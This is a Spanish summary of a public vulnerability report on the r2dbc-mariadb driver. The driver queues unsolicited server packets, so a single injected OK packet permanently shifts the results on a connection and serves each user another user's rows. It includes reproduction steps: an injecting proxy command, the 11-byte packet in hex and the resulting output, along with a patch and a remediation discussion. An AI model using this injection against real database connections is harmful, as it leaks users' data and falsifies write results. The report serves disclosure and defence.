Reports
MEDIA[EXPOSICIÓN DE DATOS]#3920629

r2dbc-mariadb: un paquete inyectado desincroniza la conexión y entrega a cada usuario las filas del anterior

El driver r2dbc-mariadb aceptaba un paquete del servidor sin ninguna orden en curso y se lo pasaba a la siguiente consulta. Un solo paquete inyectado desfasaba la conexión para siempre: cada usuario recibía las filas del anterior.

Resumen
Resumen en castellano de un reporte público, no una traducción literal. El código y los comandos se mantienen como en el original.

Resumen

En el protocolo cliente/servidor de MariaDB y MySQL el servidor nunca habla por iniciativa propia: cada paquete que envía responde a una orden del cliente. El driver reactivo para Java org.mariadb:r2dbc-mariadb (hasta la versión 1.4.1) no hacía cumplir esa regla. Si llegaba un paquete cuando no había ninguna orden pendiente, lo guardaba en una cola y se lo entregaba a la siguiente sentencia, aunque no tuviera nada que ver con ella.

Con un único paquete inyectado, la conexión queda desfasada una posición de forma permanente: cada sentencia recibe la respuesta de la anterior. En una conexión de un pool, eso significa que a un usuario de la aplicación se le sirven las filas de otro, y que un UPDATE que no tocó ninguna fila se da por aplicado a una.

Requisito del atacante: tiene que poder inyectar bytes en el flujo TCP entre cliente y servidor. Eso incluye a un atacante en la ruta de red, un servidor malicioso o comprometido, o un proxy comprometido (MaxScale, ProxySQL…). El valor por defecto de sslMode en el driver es DISABLE, así que en la configuración por defecto no hay que romper ningún TLS.

El investigador lo confirmó con el artefacto publicado en Maven Central org.mariadb:r2dbc-mariadb:1.4.1, sin modificar, y la imagen oficial mariadb:11.4, todo con opciones por defecto: 9 de 10 peticiones seguidas recibieron el secreto de otro usuario.

Dónde está el fallo

El componente que debe emparejar cada mensaje entrante con la orden que lo pidió es ServerMessageSubscriber, en src/main/java/org/mariadb/r2dbc/client/SimpleClient.java.

En onNext (línea 783) se busca la orden pendiente. Si no hay ninguna (exchange == null), el mensaje no se rechaza: simplemente no toma la vía rápida y acaba en receiverQueue:

      this.receiverDemands.decrementAndGet();
      Exchange exchange = this.exchangeQueue.peek();

      // nothing buffered => directly emit message
      ReferenceCountUtil.retain(message);
      if (this.receiverQueue.isEmpty()
          && exchange != null
          && (exchange.hasDemand() || exchange.isCancelled())) {
        if (exchange.emit(message)) this.exchangeQueue.poll();
        ...
        return;
      }

      // queue message
      if (!this.receiverQueue.offer(message)) {

Que la cola de órdenes esté vacía no es un problema de contrapresión, es una violación del protocolo. Después, tryDrainQueue (línea 829) empareja mensajes y órdenes solo por posición, sin ninguna correlación:

          while (!this.receiverQueue.isEmpty()) {
            if ((exchange = this.exchangeQueue.peek()) == null
                || (!exchange.hasDemand() && !exchange.isCancelled())) return;
            if ((srvMsg = this.receiverQueue.poll()) == null) return;
            if (exchange.emit(srvMsg)) this.exchangeQueue.poll();
          }

Cuando la aplicación lanza su siguiente sentencia, onRequest (línea 816) llama a tryDrainQueue y el paquete viejo se entrega a la nueva orden. Como el paquete inyectado es un OK que marca fin de respuesta, la sentencia termina con él. Su respuesta real llega luego con la cola de órdenes vacía otra vez, se aparca y se entrega a la siguiente sentencia. El desfase se mantiene solo mientras viva la conexión.

Una capa más abajo, MariadbFrameDecoder.java (líneas 112-114) elige cómo decodificar según exchangeQueue.peek() y, si la cola está vacía, asume QUERY_RESPONSE. Por eso el paquete no solicitado se interpreta como una respuesta normal en vez de rechazarse.

El número de secuencia, ignorado

Cada cabecera de paquete del protocolo de MariaDB lleva un número de secuencia, pensado precisamente para detectar paquetes perdidos, desordenados o inyectados. El driver lo lee y no lo comprueba nunca. En MariadbFrameDecoder.decode (líneas 110-111) se crea un secuenciador nuevo con lo que mande el servidor:

  private ServerMessage decode(ByteBuf packet) {
    Sequencer sequencer = new Sequencer(packet.readByte());

Y Sequencer (src/main/java/org/mariadb/r2dbc/message/server/Sequencer.java) no valida nada:

public class Sequencer implements MessageSequence {
  private byte sequenceId;

  public Sequencer(byte sequenceId) {
    this.sequenceId = sequenceId;
  }

  public void reset() {
    sequenceId = (byte) 0xff;
  }

  public byte next() {
    return ++sequenceId;
  }
}

next() solo sirve para numerar los paquetes que salen. Ningún código compara el número recibido con el esperado, así que el paquete inyectado se acepta con cualquier valor.

Pasos de reproducción

  1. Arrancar un servidor MariaDB sin cambios de configuración:
docker run -d --name r2dbc_track_default -e MARIADB_ROOT_PASSWORD=[REDACTADO] -p 3308:3306 mariadb:11.4
  1. Crear una tabla con diez usuarios, cada uno con su secreto (poc/seed.sql):
CREATE DATABASE IF NOT EXISTS db_a;
USE db_a;
CREATE TABLE tenants(owner VARCHAR(16), secret VARCHAR(32));
INSERT INTO tenants VALUES
('user1','USER1_SECRET'),('user2','USER2_SECRET'),('user3','USER3_SECRET'),('user4','USER4_SECRET'),
('user5','USER5_SECRET'),('user6','USER6_SECRET'),('user7','USER7_SECRET'),('user8','USER8_SECRET'),
('user9','USER9_SECRET'),('user10','USER10_SECRET');
  1. Lanzar el proxy que hace de atacante en la ruta (poc/inject_proxy2.py). Reenvía todo sin tocarlo y no inspecciona el tráfico: cuando el enlace lleva 300 ms en silencio (lo que garantiza que no hay ninguna orden en curso), envía un único paquete de 11 bytes.
python3 poc/inject_proxy2.py 3309 3308 inject 300 3

El paquete inyectado es un OK mínimo:

07 00 00 01 00 00 00 02 00 00 00
length=7 | seq=1 | OK header 00 | affected_rows 0 | last_insert_id 0 | status 0x0002 | warnings 0
  1. Ejecutar la aplicación de prueba (poc/SubmissionPoc.java) contra el proxy con el driver publicado sin modificar. Abre una conexión, hace tres consultas de calentamiento, espera, atiende a diez usuarios seguidos (cada uno pide solo su fila) y termina con un UPDATE que no coincide con ninguna fila:
java -cp r2dbc-mariadb-1.4.1.jar:<deps>:. -Dport=3309 SubmissionPoc
  1. Resultado con el atacante activo:
  request  1  app asked for user1  expected USER1_SECRET   got <NO ROWS>      EMPTY
  request  2  app asked for user2  expected USER2_SECRET   got USER1_SECRET   *** WRONG USER'S DATA ***
  request  3  app asked for user3  expected USER3_SECRET   got USER2_SECRET   *** WRONG USER'S DATA ***
  request  4  app asked for user4  expected USER4_SECRET   got USER3_SECRET   *** WRONG USER'S DATA ***
  request  5  app asked for user5  expected USER5_SECRET   got USER4_SECRET   *** WRONG USER'S DATA ***
  request  6  app asked for user6  expected USER6_SECRET   got USER5_SECRET   *** WRONG USER'S DATA ***
  request  7  app asked for user7  expected USER7_SECRET   got USER6_SECRET   *** WRONG USER'S DATA ***
  request  8  app asked for user8  expected USER8_SECRET   got USER7_SECRET   *** WRONG USER'S DATA ***
  request  9  app asked for user9  expected USER9_SECRET   got USER8_SECRET   *** WRONG USER'S DATA ***
  request 10  app asked for user10 expected USER10_SECRET  got USER9_SECRET   *** WRONG USER'S DATA ***
  UPDATE matching 0 rows reported rowsUpdated = 1   *** WRITE RESULT MIS-REPORTED ***

  queries that received another user's data : 9
  queries that received no rows             : 1

[attacker] link idle 326ms after 5 client packets -> injected 1 OK packet

Nueve de diez peticiones recibieron el secreto de otro usuario, y ninguna devolvió error a través de la API de R2DBC.

  1. Control negativo: repetir los pasos 3 y 4 con el proxy en modo noinject (está en la ruta, pero no envía nada propio). Cada usuario recibe su fila y el UPDATE informa de 0 filas:
  request  1  app asked for user1  expected USER1_SECRET   got USER1_SECRET   ok
  ...
  request 10  app asked for user10 expected USER10_SECRET  got USER10_SECRET  ok
  UPDATE matching 0 rows reported rowsUpdated = 0   ok
RESULT: no impact - every request received its own row
  1. Control con parche: al principio de onNext, tratar como error de protocolo un mensaje que llega sin orden pendiente:
      Exchange exchange = this.exchangeQueue.peek();

      if (exchange == null) {
        onError(
            new R2dbcNonTransientResourceException(
                "unexpected: server message received while no command was in flight", "08000"));
        return;
      }

Recompilando solo esa clase desde el código de la 1.4.1 y poniéndola primero en el classpath, el mismo ataque hace que la conexión se cierre con un error en vez de entregar datos ajenos, y sin ataque todo funciona con normalidad:

--- FIX CONTROL A     patched driver, SAME attack attempted
io.r2dbc.spi.R2dbcNonTransientResourceException: The connection is closed. Unable to send anything
[attacker] link idle 301ms after 5 client packets -> injected 1 OK packet

--- FIX CONTROL B     patched driver, no injection (normal operation intact)
  request  1  app asked for user1  expected USER1_SECRET   got USER1_SECRET   ok
  ...
  UPDATE matching 0 rows reported rowsUpdated = 0   ok
RESULT: no impact - every request received its own row

Todas las pruebas se hicieron en local, con Docker en loopback y un proxy TCP local; no se tocó ningún sistema de MariaDB.

Impacto

  • Confidencialidad: como el driver se usa a través de un pool, las sentencias consecutivas de una conexión pertenecen a usuarios y peticiones distintos. Tras la inyección, el usuario B recibe las filas que se leyeron para el usuario A. La aplicación no puede detectarlo: las consultas terminan con normalidad y la API no informa de ningún error. Cualquier resultado usado para comprobar la propiedad de un recurso, delimitar un tenant o decidir una autorización pasa a estar influido por el atacante sin modificar ni un byte de SQL.
  • Integridad: un UPDATE que no afectó a ninguna fila se informa como si hubiera afectado a una. Una aplicación que decide según el número de filas afectadas (por ejemplo, para control de concurrencia optimista o para saber si una escritura se aplicó) recibe una respuesta falsa.
  • Persistencia: el desfase dura toda la vida de la conexión. Un reintento sobre la misma conexión del pool también lee resultados desplazados, y nada avisa a la aplicación de que debe cerrarla.

El propio investigador acota el escenario: quien puede inyectar en un enlace sin cifrar normalmente también puede leerlo, así que el daño no es lo que el atacante ve, sino lo que el driver hace hacer a la aplicación: entregar datos de un usuario a otro e informar mal de las escrituras, de forma persistente e indetectable. Configurar sslMode como VERIFY_FULL frena al atacante puro en la ruta, pero no a un servidor malicioso o comprometido ni a un proxy que termine el TLS. No hace falta autenticación, interacción del usuario ni ninguna opción no predeterminada del driver.

Afecta a org.mariadb:r2dbc-mariadb hasta la 1.4.1; según el reporte, el código era idéntico en master (a82d265) y en la rama develop (234419d). El investigador lo sitúa en la misma frontera de confianza cliente/servidor hostil que dos fallos ya corregidos en la 1.4.1 de este conector, CVE-2026-55859 y CVE-2026-55860.

Remediación

El reporte figura como resuelto, pero no detalla el cambio aplicado. La corrección propuesta por el investigador es rechazar en onNext cualquier mensaje cuando exchangeQueue.peek() es null, como en el control con parche. Además sugiere validar el número de secuencia recibido frente al esperado, lo que cerraría el problema de forma más completa porque también detectaría reordenaciones y truncamientos, no solo el caso de cola vacía.

Qué aprender de este caso

  • En cualquier cliente de un protocolo petición-respuesta (bases de datos, Redis, colas), busca qué pasa cuando llega un mensaje y no hay ninguna petición pendiente: si se encola "para luego" en vez de cortar la conexión, un solo paquete puede desfasar todo lo que venga después.
  • Desconfía de los emparejamientos puramente posicionales entre una cola de respuestas y una de peticiones, como tryDrainQueue. Si el protocolo trae un número de secuencia o un identificador, compruébalo al recibir; aquí existía en la cabecera y se descartaba.
  • En conexiones compartidas por un pool, un error de sincronización no es un fallo puntual sino una fuga entre usuarios. Ante cualquier estado inesperado del protocolo, lo seguro es cerrar la conexión con error (fallar cerrado) y no devolverla al pool.
  • Si usas este driver, no dejes sslMode en su valor por defecto (DISABLE): VERIFY_FULL al menos elimina la variante del atacante en la ruta de red, aunque no protege frente a un servidor o proxy hostil.